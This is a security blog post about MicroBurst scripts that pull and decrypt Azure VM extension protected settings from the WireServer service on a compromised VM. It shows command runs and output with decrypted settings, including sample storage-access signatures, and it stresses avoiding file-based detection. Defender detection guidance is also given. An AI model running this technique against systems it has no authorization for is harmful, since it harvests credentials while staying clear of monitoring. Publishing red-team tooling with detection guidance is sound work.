Ported over from the original Guardicore Labs blog. Focuses on the decryption of the protected settings from local files
Decrypting VM Extension Settings with Azure WireServer
Let’s start with a hypothetical situation – Assume that you’ve compromised an Azure Virtual Machine in a high security environment, during an authorized Pentest/Red Team/etc. This virtual machine is expected to have better than average detective controls around local files, but might be lacking some telemetry on the network side. Without really touching the filesystem, how can we gather some sensitive (Azure specific) information from the Virtual Machine?
TL;DR
- This blog provides scripts for scraping and decrypting protected settings from the Azure WireServer service
- Scripts are provided for both Windows and Linux VMs
- Much like the file-based decryption method, this requires local administrator permissions
- The tooling provided here does touch disk, but could be converted to completely avoid the file system
When we are looking to gather sensitive information from an Azure VM, one of the first places we want to look is the “Protected Settings” for VM extensions. While they do require local administrator privileges to decrypt, they are often a good source of credentials and other sensitive information. These protected settings are stored in local files, so it’s possible (and recommended) to have those files monitored for access attempts. While we haven’t seen extensive detections based on the files, we do want to stay ahead of detections, and our hypothetical situation is dictating that we need to stay away from file reads. In this blog, we will cover some tooling that allows us to access the VM extension “Protected Settings”, without touching the local files.
What is the WireServer?
The Azure WireServer service is a public IP address that almost acts like a cloud-local service, as it is only routable from Azure Virtual Machines. The service is used to provide a few services for VMs, which includes sending configuration settings for VM extensions to the VM. The VM extension settings can be a very valuable source of sensitive information during an assessment. We’ve previously covered this in Jake Karnes’ “Decrypting Azure VM Extension Settings with Get-AzureVMExtensionSettings” blog post, but that post focuses on the encrypted configuration files that end up on the VMs, versus the configurations coming from the WireServer service.
Communicating with the WireServer
Now that we know a little more about the Wireserver service, and what we’re trying to accomplish, how do we make use of the service?
Having had experience with a few Azure resource configuration services, I can say that the WireServer service is a little odd in how it operates. The general service is available via a Public IP that is only available from Microsoft’s Azure IP space. Additionally, the service requires local administrator/root permissions to route the traffic, and a specific set of headers as well. Finally, the encryption certificates are stored in an uncommon “bundled” format that you provide a public key to encrypt. If any of that was confusing for you, we tried to break it down to its simplest form here.
General process flow:
As we can see, the end result of this process is the decrypted version of the Protected Settings for the VM extensions. While this is handy for sensitive data gathering on “normal” VMs, this is particularly useful in situations where a VM (that supports an Azure service resource) is hosted by Microsoft. The Wiz blog from the prior research section shows how this exact process led to some significant information disclosures on Microsoft infrastructure.
applicable research timeline
We should also note that we’re not the first researchers to investigate this service, or the decryption of the extension. We are just implementing the research from the blogs below into MicroBurst as we’ve found it to be useful during engagements.
Proof of concept tooling for decrypting the protected settings from the “VM Access Agent” extension files
NetSPI’s blog on automating the decryption of the local file protected settings for Windows VMs
Uses the WireServer decryption process to access protected settings from Linux VMs
Explains process for using WireServer data for extraction of Protected Settings data on Windows VMs
A post that outlines the decryption process for WireServer protected settings on Linux VMs and provides an example for the vmSettings endpoint and the RunCommand extension
Google (Mandiant) blog on using the WireServer service to extract Kubernetes management certificates from the protected settings for the Azure Kubernetes Service (AKS) clusters
To automate this very complicated process, we put together options in the MicroBurst toolkit:
PS C:\Users\karluser\Desktop\blog> Get-AzureVMExtensionSettingsWireServer -Verbose
VERBOSE: Testing connectivity to WireServer...
VERBOSE: Connected to WireServer
VERBOSE: Retrieving goalstate configuration...
VERBOSE: Retrieving extension configurations...
VERBOSE: Discovered VM Extensions:
VERBOSE: Extension: Microsoft.Compute.CustomScriptExtension
VERBOSE: Thumbprint: B9F1F313496EFF1A8B498C24BBD467E04ADB7131
VERBOSE: Protected Settings: YES
VERBOSE: Extension: Microsoft.Azure.OpenSSH.WindowsOpenSSH
VERBOSE: Thumbprint: B9F1F313496EFF1A8B498C24BBD467E04ADB7131
VERBOSE: Protected Settings: YES
VERBOSE: Retrieving certificate bond package...
VERBOSE: Generating temporary certificate...
VERBOSE: Created certificate: 43AB79679204A45E45E114FFDB56D3AE8691EA3E
VERBOSE: Requesting certificate bond package...
VERBOSE: Retrieved certificate bond package
VERBOSE: Decrypting bond package...
VERBOSE: Successfully decrypted bond package
VERBOSE: Extracting certificates...
VERBOSE: Saved bond package: C:\Users\karluser\Desktop\blog\certificate_bond.bin
VERBOSE: Extracted certificate: DC=Windows Azure CRP Certificate Generator (B9F1F313496EFF1A8B498C24BBD467E04ADB7131)
VERBOSE: Exported: C:\Users\karluser\Desktop\blog\cert_DC=Windows Azure CRP Certificate Generator_B9F1F313.crt
VERBOSE: Exported: C:\Users\karluser\Desktop\blog\cert_DC=Windows Azure CRP Certificate Generator_B9F1F313.pem
VERBOSE: Exported: C:\Users\karluser\Desktop\blog\cert_DC=Windows Azure CRP Certificate Generator_B9F1F313.txt
VERBOSE: Could not export private key as key/pfx: cert_DC=Windows Azure CRP Certificate Generator_B9F1F313
VERBOSE: Processing VM extensions...
VERBOSE: SUCCESS: Decrypted ProtectedSettings for the Microsoft.Compute.CustomScriptExtension extension
ExtensionName : Microsoft.Compute.CustomScriptExtension
ProtectedSettingsCertThumbprint : B9F1F313496EFF1A8B498C24BBD467E04ADB7131
ProtectedSettings : MIIC[Truncated]YJOkane0q
ProtectedSettingsDecrypted : {0, {"commandToExecute":"powershell -ExecutionPolicy Unrestricted -File whoami.ps1 ","fileUris":["https://notarealstorageaccount.blob.core.windows.net/cse/whoami.ps1?sp=r\u0026st=2025-09-17T17:58:19Z\u0026se=2025-12-16T17:58:19Z\u0026sv=2024-11-04\u0026sr=b\u0026sig=idQw8lGU0FnoK4X%2BaaQijzLl9cbbHaKN4RMdd34wrno%3D"]}}
PublicSettings : {}
VERBOSE: SUCCESS: Decrypted ProtectedSettings for the Microsoft.Azure.OpenSSH.WindowsOpenSSH extension
ExtensionName : Microsoft.Azure.OpenSSH.WindowsOpenSSH
ProtectedSettingsCertThumbprint : B9F1F313496EFF1A8B498C24BBD467E04ADB7131
ProtectedSettings : MII[Truncated]9NMqk5NZA==
ProtectedSettingsDecrypted : {0, {}}
PublicSettings : {}
VERBOSE: Certificate extraction and ProtectedSettings decryption completed
$ sudo ./Get-AzureVMExtensionSettingsWireServer-Linux.sh -v -o certs/
[INFO] Azure VM Extension Settings WireServer Extraction Tool
[INFO] ================================================================
[VERBOSE] Created temporary directory: /tmp/microburst-080D6D
[VERBOSE] Requesting goalstate configuration from WireServer...
[VERBOSE] Retrieved goalstate configuration
[VERBOSE] Requesting ExtensionsConfig from WireServer...
[VERBOSE] Retrieved extensions configuration
[VERBOSE] Extracting protected settings from PluginSettings...
[VERBOSE] Found PluginSettings in extension configuration
[SUCCESS] Found extension with protected settings: Microsoft.Azure.Extensions.CustomScript
[VERBOSE] Certificate thumbprint: B8A6C00BA1B792FC0D73DD1AC087468DA34E8E2B
[VERBOSE] Generating transport certificate and key pair...
[VERBOSE] Generated transport certificate and key pair
[VERBOSE] Requesting certificate bundle from WireServer...
[VERBOSE] Retrieved certificate bundle (4315 bytes)
[VERBOSE] Decrypting certificate bundle...
[VERBOSE] Successfully decrypted certificate bundle using CMS
[VERBOSE] Extracting certificates and private keys from bundle...
[VERBOSE] Extracted certificates as PKCS#12 bundle
[VERBOSE] Extracted and stored 1 certificate(s) and 1 private key(s) as local files
[INFO] Saving extracted certificates and private keys to: certs/
[INFO]
[SUCCESS] === DECRYPTED PROTECTED SETTINGS ===
[VERBOSE] Decrypting protected settings...
{"commandToExecute":"sh whoami.sh","fileUris":["https://notarealstorageaccount.blob.core.windows.net/cse/whoami.sh?sp=r&st=2025-10-03T20:41:24Z&se=2026-01-01T20:41:24Z&sv=2024-11-04&sr=b&sig=TY29jl46inaLN2bb32xf%2B0psaa88MBn852CKapokbwQ%3D"]}
[SUCCESS] ====================================
[INFO]
[SUCCESS] Successfully decrypted VM extension protected settings!
[INFO]
[INFO] Extracted certificates and private keys saved to: certs/
[VERBOSE] Cleaned up temporary directory: /tmp/microburst-080D6D
Tool/Attack Detection and Hunting Guidance
It’s important to note that the detections for this specific process are pretty limited. Outside of potentially writing files to the host, the scripts just make a handful of HTTP requests to an already isolated host.
To help the defenders, here are some general indicators that someone is using this tooling on your Azure VMs:
- The running of the specific PowerShell or Bash scripts
- This might include the writing of the script files to disk
- Outbound HTTP traffic to the WireServer endpoint
- This might just blend in with existing WireServer traffic
- The scripts both have specific patterns they follow, so you may be able to create a detection around that
- Writing the temporary and certificate files locally
- Both scripts have the ability to export the private certificate files from the bundles
- Both scripts use temporary files as part of their process
It is important to note that general “good hygiene” practices with your VM extension data will go a long way in the prevention of the sensitive data exposure. Where possible, use references or temporary resources as inputs for your extensions. This will help limit access to the sensitive data, if an attacker attempts to access it later. Additionally, running this tooling on your VMs to identify sensitive data sources could also be helpful. Finally, including a canary credential in a custom script extension could give you additional indications of compromise.
Conclusion
Going back to our original situation, we now have the ability to get access to the decrypted VM extension protected settings, without having to read the local files, or touch the certificate store. We will acknowledge that the tooling provided does write some files to disk, but the code should be easy to modify to stay fully off disk, if that’s what you need.
Given the utility that this technique has had in prior research, these scripts will hopefully be useful for pivoting from an Azure VM, or for attacking Azure services (AML, Cosmos DB, etc.) that are backed by VMs. For the defenders and Azure engineers, try to make sure that your VM extensions do not have any sensitive data to begin with.
In the spirit of full transparency, the development of both scripts was done with the assistance of LLM coding assistants. Not fully “vibe coded”, but the assistant did most of the heavy lifting. The decryption process for both operating systems is a bit complicated, so having these tools helped immensely. As with any open-source tool, make sure that you review the code to understand what it’s doing, before you run it. That said, we’ve thoroughly reviewed the code for any potential issues and we welcome any changes that anyone wants to submit to the MicroBurst repo to improve the code.
References:
- https://learn.microsoft.com/en-us/azure/virtual-network/what-is-ip-address-168-63-129-16
- https://www.akamai.com/blog/security/recovering-plaintext-passwords-azure
- https://github.com/guardicore/azure_password_harvesting
- https://intezer.com/blog/cve-2021-27075-microsoft-azure-vulnerability-allows-privilege-escalation-and-leak-of-data/
- https://www.wiz.io/blog/chaosdb-explained-azures-cosmos-db-vulnerability-walkthrough
Explore More Blog Posts
Turning Regulation into a Resilience Advantage: 6 Top Pentesting Tips for CISOs
Regulations and cyber threats are moving at breakneck speed. And so are expectations from boards, regulators, and auditors. For today’s CISOs, the real question isn’t “Are we compliant?” it’s “Are we resilient?”
Webinar Recap: How to Keep Your CISO Out of Jail
Learn how CISOs can reduce legal risk by documenting decisions, fostering security culture, and aligning cybersecurity with business goals.
How App Integration Transactions Increase the Attack Surface of LLMs
Learn how OpenAI’s AppsSDK, AgentKit, and “Buy It” turn LLMs into transactional agents—expanding security risks from rapid rollout, prompt injection, and access control gaps.